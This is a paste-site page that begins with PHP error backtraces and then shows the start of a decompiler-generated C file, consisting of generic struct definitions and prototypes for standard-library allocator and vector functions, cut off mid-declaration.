A PHP Error was encountered

Severity: 8192

Message: Function create_function() is deprecated

Filename: geshi/geshi.php

Line Number: 4698

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 551
Function: getPaste

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/system/core/Exceptions.php:271)

Filename: view/raw.php

Line Number: 2

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/themes/geocities/views/view/raw.php
Line: 2
Function: header

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 173
Function: include

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 43
Function: _ci_load

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 558
Function: view

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

// // This file was generated by the Retargetable Decompiler // Website: https://retdec.com // Copyright (c) 2015 Retargetable Decompiler // #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* ------------- Structures ------------- */ struct _in_addr { int32_t e0; }; struct _sockaddr { int16_t e0; int32_t e1[14]; }; struct _struct__IO_FILE { int32_t e0; char * e1; char * e2; char * e3; char * e4; char * e5; char * e6; char * e7; char * e8; char * e9; char * e10; char * e11; struct _struct__IO_marker * e12; struct _struct__IO_FILE * e13; int32_t e14; int32_t e15; int32_t e16; int16_t e17; char e18; int32_t e19[1]; char * e20; int64_t e21; char * e22; char * e23; char * e24; char * e25; int32_t e26; int32_t e27; int32_t e28[40]; }; struct _struct__IO_marker { struct _struct__IO_marker * e0; struct _struct__IO_FILE * e1; int32_t e2; }; struct _timeval { int32_t e0; int32_t e1; }; struct struct_0 { int32_t e0; int32_t * e1; }; struct struct_1 { int32_t e0; int32_t e1[2]; }; struct struct_10 { int32_t * e0; int32_t * e1; }; struct struct_103 { int32_t e0; int32_t e1; char e2[4]; int32_t e3; int32_t e4; char e5; char e6; }; struct struct_104 { int32_t e0; int32_t e1; char e2[12]; int32_t e3; char e4[24]; int32_t e5; int32_t e6; }; struct struct_108 { int32_t e0; char e1; char e2; }; struct struct_110 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; int32_t e4; int32_t e5; int32_t e6; int32_t e7; char e8[8]; int32_t e9; int32_t e10; int32_t e11; int32_t e12; int32_t e13; int32_t e14; int32_t e15; int32_t e16; char e17[76]; int32_t e18; int32_t e19; char e20[4]; int32_t e21; int32_t e22; char e23[12]; int32_t e24; char e25; char e26; char e27; int32_t e28; }; struct struct_111 { int32_t * e0[4]; int32_t e1; char e2[52]; int32_t e3; }; struct struct_112 { int32_t * e0[4]; int32_t * e1; char e2[76]; int32_t e3; }; struct struct_113 { int32_t e0; int32_t e1; char e2[8]; int32_t e3; }; struct struct_115 { int32_t e0; int32_t * e1; char e2[4]; int32_t e3; int32_t * e4; }; struct struct_116 { int32_t * e0; char e1; }; struct struct_117 { int32_t e0; int32_t e1; int32_t e2[2]; }; struct struct_118 { int32_t * e0; int32_t * e1; int32_t * e2[2]; }; struct struct_12 { int32_t * e0; int32_t * e1; int32_t * e2; }; struct struct_120 { int32_t e0; int32_t e1; int32_t e2; }; struct struct_121 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; char e4[4]; int32_t e5; char e6[48]; int32_t e7; int32_t * e8; int32_t * e9; int32_t * e10; int32_t * e11; int32_t * e12; int32_t * e13; int32_t * e14; int32_t * e15; }; struct struct_123 { int32_t e0; int32_t e1; char e2[16]; int32_t e3; int32_t e4; }; struct struct_124 { int32_t e0; int32_t e1; char e2; char e3[84]; int32_t e4; char e5[32]; int32_t e6; }; struct struct_125 { int32_t e0; int32_t * e1; char e2[4]; int32_t * e3; int32_t * e4; char e5[32]; int32_t e6; char e7[16]; int32_t e8; int32_t e9; char e10[4]; int32_t e11; int32_t e12; char e13[4]; int32_t * e14; int32_t * e15; char e16[40]; int32_t e17; char e18[56]; int32_t e19; int32_t e20; int32_t e21; }; struct struct_126 { char e0[2]; char e1; }; struct struct_127 { char e0; char e1[2]; }; struct struct_128 { int32_t e0; int32_t * e1; int32_t * e2; }; struct struct_13 { int32_t e0; char e1; int32_t e2; int32_t e3; }; struct struct_130 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; int32_t e4; int32_t e5; int32_t e6; int32_t e7; int32_t e8; int32_t e9; int32_t e10; char e11[140]; int32_t * e12; }; struct struct_131 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; int32_t e4; int32_t e5; int32_t e6; int32_t e7; int32_t e8; int32_t e9; int32_t e10; int32_t e11; int32_t e12; int32_t e13; char e14[4]; int32_t e15; char e16[4]; int16_t e17; int32_t * e18; char e19[12]; int32_t * e20; int32_t e21; }; struct struct_133 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; int32_t e4; int32_t e5; int32_t e6; int32_t e7; int32_t e8; int32_t e9; int32_t e10; int32_t e11; int32_t e12; int32_t e13; char e14[4]; int32_t e15; char e16[4]; int16_t e17; int32_t * e18; char e19[16]; int32_t e20; }; struct struct_134 { int32_t e0; int32_t * e1; int32_t e2; int32_t * e3; char e4[20]; int32_t * e5; int32_t e6; int32_t e7; int32_t * e8; }; struct struct_135 { char * e0; int32_t e1; int32_t e2; char e3[8]; int32_t e4; }; struct struct_138 { char e0; int32_t e1; int32_t e2; int32_t e3; }; struct struct_14 { int32_t e0; char e1; int32_t e2; }; struct struct_143 { int32_t e0; int32_t * e1; int32_t e2; int32_t * e3; char e4[20]; int32_t * e5; char e6[4]; int32_t e7; }; struct struct_17 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; char e4; char e5; char e6; int32_t e7; int32_t e8; int32_t e9; int32_t e10; int32_t e11; int32_t e12; int32_t e13; int16_t e14; int16_t e15; int32_t e16; }; struct struct_18 { int32_t e0; int32_t * e1; }; struct struct_20 { int32_t * e0; int32_t e1; }; struct struct_3 { int32_t e0; int32_t e1; }; struct struct_42 { int32_t e0; char e1; int32_t e2; char e3; int32_t e4; int32_t e5; char e6; int16_t e7; }; struct struct_43 { int32_t e0; char e1; char e2; int32_t e3; }; struct struct_45 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; }; struct struct_47 { int16_t e0; int16_t e1; int16_t e2; int16_t e3; int16_t e4; }; struct struct_48 { int32_t * e0; int16_t e1; }; struct struct_49 { int32_t * e0; char * e1[2]; }; struct struct_52 { int32_t * e0; int32_t e1[1]; int32_t e2; }; struct struct_59 { char e0; char e1; }; struct struct_6 { int32_t * e0; int32_t * e1; }; struct struct_141 { int32_t e0; int32_t e1; struct struct_6 e2[2]; }; struct struct_61 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; int16_t e4; }; struct struct_62 { int32_t e0; int32_t e1; char e2[4]; int32_t e3; int16_t e4; }; struct struct_63 { int32_t e0; char e1; int32_t e2; int32_t e3; int32_t e4; int32_t e5; int32_t e6; int32_t e7; int32_t e8; int32_t e9; int32_t e10; int32_t e11; int32_t e12; char e13[72]; int32_t e14; int32_t e15; }; struct struct_68 { int32_t e0; char e1; }; struct struct_75 { int32_t e0; int32_t e1; int32_t e2; char e3[4]; int32_t e4; int32_t e5; }; struct struct_78 { int32_t e0; int32_t e1; char e2[36]; char e3; }; struct struct_82 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; int32_t e4; int32_t e5; int32_t e6; int32_t e7; int32_t e8; int32_t e9; int32_t e10; }; struct struct_83 { int32_t * e0; int32_t e1; }; struct struct_106 { struct struct_83 e0[16]; int32_t e1[2]; char e2[8]; int32_t * e3; int32_t * e4; char e5[4]; int32_t e6; int32_t e7; int32_t * e8; char e9[4]; int32_t e10; int32_t e11; char e12[4]; char e13; char e14[100]; int32_t * e15; }; struct struct_84 { int32_t e0; int32_t e1; int32_t e2; int32_t e3; int32_t e4; int32_t e5; char e6[8]; int32_t e7; int32_t e8; int32_t * e9; }; struct struct_90 { int32_t * e0; int32_t * e1; int32_t * e2; int32_t e3; int32_t * e4; }; struct struct_88 { int32_t e0; int32_t e1; int32_t * e2; int16_t e3[4]; int32_t e4; struct struct_90 e5[2][2]; }; struct struct_93 { int32_t * e0; int32_t * e1[1]; int32_t * e2[2]; int32_t * e3; }; struct struct_91 { int32_t e0; int32_t e1; int16_t e2[4]; int32_t e3; int32_t e4; struct struct_93 e5[2][2]; }; struct struct_94 { int32_t e0; int32_t e1; int32_t * e2; int32_t * e3; }; struct struct_96 { int32_t e0; int32_t * e1; int32_t e2; int32_t e3; }; struct struct_97 { int32_t e0; int32_t e1; char e2; }; struct struct_98 { int32_t e0; int32_t * e1; char e2[4]; char e3; }; struct struct_99 { int32_t * e0; int32_t e1; char e2; }; /* -------- Function Prototypes --------- */ int32_t CAmpResource__Clear(struct struct_0 * a1); int32_t CAmpResource___InitReadResource(struct struct_1 * a1, struct struct_1 * a2); int32_t CAmpResource__InitReadResource(struct struct_1 * a1, struct struct_1 * a2); int32_t __gthread_active_p(void); void _Z14__gthread_oncePiPFvvE(int32_t a1); int32_t std__fill(int32_t * a1, int32_t * a2, char * a3); int32_t _ZnwjPv(int32_t * a1); int32_t __gnu_cxx____pool_base___M_check_threshold(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____pool_base___M_get_binmap(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____pool_base___M_get_align(int32_t * a1); int32_t _ZN9__gnu_cxx6__poolILb1EE18_M_initialize_onceEPFvvE(int32_t a1, int32_t a2); int32_t __gnu_cxx____pool_lt_true_gt____M_get_bin(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____pool_lt_true_gt____M_adjust_freelist(int32_t * a1, int32_t * a2, int32_t * a3); int32_t CSerial(int32_t * a1); void CFakeCustom(void); void __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_CFakeCustom_gt_(int32_t * a1); int32_t std__allocator_lt_CFakeCustom_gt__9(int32_t result); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(int32_t result, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(int32_t * a1); void __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_std__string_gt_(int32_t * a1); int32_t std__allocator_lt_std__string_gt__14(int32_t result); int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1); void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_(void); void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy(int32_t * a1); int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin(int32_t * a1, int32_t ** a2); int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator__lt_CFakeCustom_const__ptr__comma__CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size(int32_t ** a1); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl(int32_t * a1); void __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(void); int32_t std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2, int32_t a3); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16(struct struct_3 * a1, int32_t a2); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin(int32_t * a1, int32_t ** a2); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(int32_t * a1, int32_t a2); int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(int32_t * a1); void __gnu_cxx____mt_alloc_base_lt_std__string_gt_(void); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl(int32_t * a1); int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(int32_t * a1); int32_t std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(int32_t * a1, int32_t ** a2); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(int32_t ** a1); int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator__lt_char_const__ptr__comma__char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(int32_t ** a1); int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(void); int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(int32_t a1); int32_t std__allocator_lt_CFakeCustom_gt__38(int32_t a1, int32_t a2); int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__41(int32_t a1); int32_t std__allocator_lt_std__string_gt__42(int32_t a1); int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(int32_t a1); int32_t std__allocator_lt_std__string_gt__44(int32_t a1, int32_t a2); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45(struct struct_3 * a1, int32_t a2); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, struct struct_3 * a2); int32_t std__allocator_lt_std__string_gt__46(int32_t a1, int32_t a2); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(struct struct_3 * a1, int32_t * a2); int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__50(struct struct_3 * a1); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(struct struct_6 * a1); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__52(struct struct_6 * a1, int32_t a2); int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t ** a3); int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t ** a3); int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__63(struct struct_3 * a1); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(struct struct_3 * a1, struct struct_3 * a2); int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64(struct struct_10 * a1); int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1); int32_t __gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1); int32_t __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(int32_t a1); int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__65(int32_t * a1, int32_t ** a2, int32_t * a3); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size(void); int32_t std__max_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__eq_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____mt_alloc_base_lt_char_gt___max_size(void); int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate(int32_t * a1, int32_t * a2); int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66(struct struct_3 * a1, int32_t * a2, int32_t * a3); int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_char_gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____fill_lt_true_gt___fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1); int32_t std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1, struct struct_6 * a2, char * a3); void __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize(void); int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_char_gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____copy_backward_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__fill_n_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, char * a3); void std____uninitialized_fill_n_aux_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3); int32_t std__uninitialized_fill_n_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3); void std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3); void std____copy_normal_lt_false_comma__false_gt___copy_n_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std__copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____uninitialized_copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__uninitialized_copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____uninitialized_copy_a_lt_char__ptr__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2); int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____fill_n_lt_true_gt___fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4); int32_t std__fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4); int32_t std____uninitialized_fill_n_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3); int32_t 